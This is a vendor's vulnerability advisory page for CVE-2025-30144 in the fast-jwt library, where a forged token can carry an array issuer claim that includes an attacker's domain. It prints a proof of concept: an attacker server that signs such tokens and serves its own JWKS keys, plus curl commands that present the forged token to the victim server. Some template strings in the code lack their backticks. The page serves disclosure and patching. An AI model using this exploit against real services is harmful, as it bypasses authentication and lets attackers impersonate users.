Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2025-30144 — fast-jwt

🟡 CVSS 6.5 — Medium ✅ No Known Exploit CWE-290 NVD
6.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Fast-JWT Improperly Validates iss Claims

Summary

The fast-jwt library does not properly validate the iss claim based on the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.

Details

The iss (issuer) claim validation within the fast-jwt library permits an array of strings as a valid iss value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an iss claim structured as ['https://attacker-domain/', 'https://valid-iss']. Due to the permissive validation, the JWT will be deemed valid.

Furthermore, if the application relies on external libraries like get-jwks that do not independently validate the iss claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the iss array, alongside the legitimate issuer, and bypass the intended security checks.

PoC

Take a server running the following code:

```js

const express = require('express')

const buildJwks = require('get-jwks')

const { createVerifier } = require('fast-jwt')

const jwks = buildJwks({ providerDiscovery: true });

const keyFetcher = async (jwt) =>

jwks.getPublicKey({

kid: jwt.header.kid,

alg: jwt.header.alg,

domain: jwt.payload.iss

});

const jwtVerifier = createVerifier({

key: keyFetcher,

allowedIss: 'https://valid-iss',

});

const app = express();

const port = 3000;

app.use(express.json());

async function verifyToken(req, res, next) {

const headerAuth = req.headers.authorization.split(' ')

let token = '';

if (headerAuth.length > 1) {

token = headerAuth[1];

}

const payload = await jwtVerifier(token);

req.decoded = payload;

next();

}

// Endpoint to check if you are auth or not

app.get('/auth', verifyToken, (req, res) => {

res.json(req.decoded);

});

app.listen(port, () => {

console.log(Server is running on port ${port});

});

```

Now we build a server that will be used to generate the JWT token and send the verification keys to the victim server:

```js

const { generateKeyPairSync } = require('crypto');

const express = require('express');

const pem2jwk = require('pem2jwk');

const jwt = require('jsonwebtoken');

const app = express();

const port = 3001;

const host = http://localhost:${port}/;

const { publicKey, privateKey } = generateKeyPairSync("rsa",

{ modulusLength: 4096,

publicKeyEncoding: { type: 'pkcs1', format: 'pem' },

privateKeyEncoding: { type: 'pkcs1', format: 'pem' },

},

);

const jwk = pem2jwk(publicKey);

app.use(express.json());

// Endpoint to create token

app.post('/create-token', (req, res) => {

const token = jwt.sign({ ...req.body, iss: [host, 'https://valid-iss'], }, privateKey, { algorithm: 'RS256' });

res.send(token);

});

app.get('/.well-known/jwks.json', (req, res) => {

return res.json({

keys: [{

...jwk,

alg: 'RS256',

use: 'sig',

}]

});

})

app.all('*', (req, res) => {

return res.json({

"issuer": host,

"jwks_uri": host + '.well-known/jwks.json'

});

});

app.listen(port, () => {

console.log(Server is running on port ${port});

});

```

```bash

export TOKEN=$(curl -X POST http://localhost:3001/create-token -H "Content-Type: application/json" -d '{"name": "test"}')

curl -X GET http://localhost:3000/auth -H "Authorization: Bearer $TOKEN"

```

Impact

Applications relaying on the validation of the iss claim by fast-jwt allows attackers to sign arbitrary payloads which will be accepted by the verifier.

Solution

Change https://github.com/nearform/fast-jwt/blob/d2b0ccb103848917848390f96f06acee339a7a19/src/verifier.js#L475 to a validator tha accepts only string for the value as stated in the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is high, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality low, integrity high, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: High — the attacker first has to win a race, learn a secret or otherwise prepare the target.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: Low — limited, and the attacker does not choose what is affected.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: None.

Weakness class

CVE-2025-30144 is classified as CWE-290: Authentication Bypass by Spoofing. Identity is inferred from something an attacker can forge, such as a header or address.

Affected software

CVE-2025-30144 is recorded against 2 packages.

  • fast-jwt
  • unknown

Timeline and source

Published on 19 March 2025 and last revised on 20 March 2025. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
datatracker.ietf.org (Web)
github.com (Package)

Other advisories for this package

fast-jwt has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-290: Authentication Bypass by Spoofing) in other software:

Details

Severity Medium
CVSS Score 6.5
CVSS Vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N
CWE CWE-290
Public Exploit ✅ No
Source NVD
Published 2025-03-19
Updated 2026-08-20
Modified 2025-03-20
Fix URL N/A

Affected Packages

Software From version Fixed in
fast-jwt
unknown

Similar Threats

Vulnerability Monitoring

Track new vulnerabilities in fast-jwt

CVE-2025-30144 is rated CVSS 6.5 Medium. BotEraser monitors your WordPress installation and notifies you when software you use appears in our vulnerability database.

Set Up Free Alerts →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2025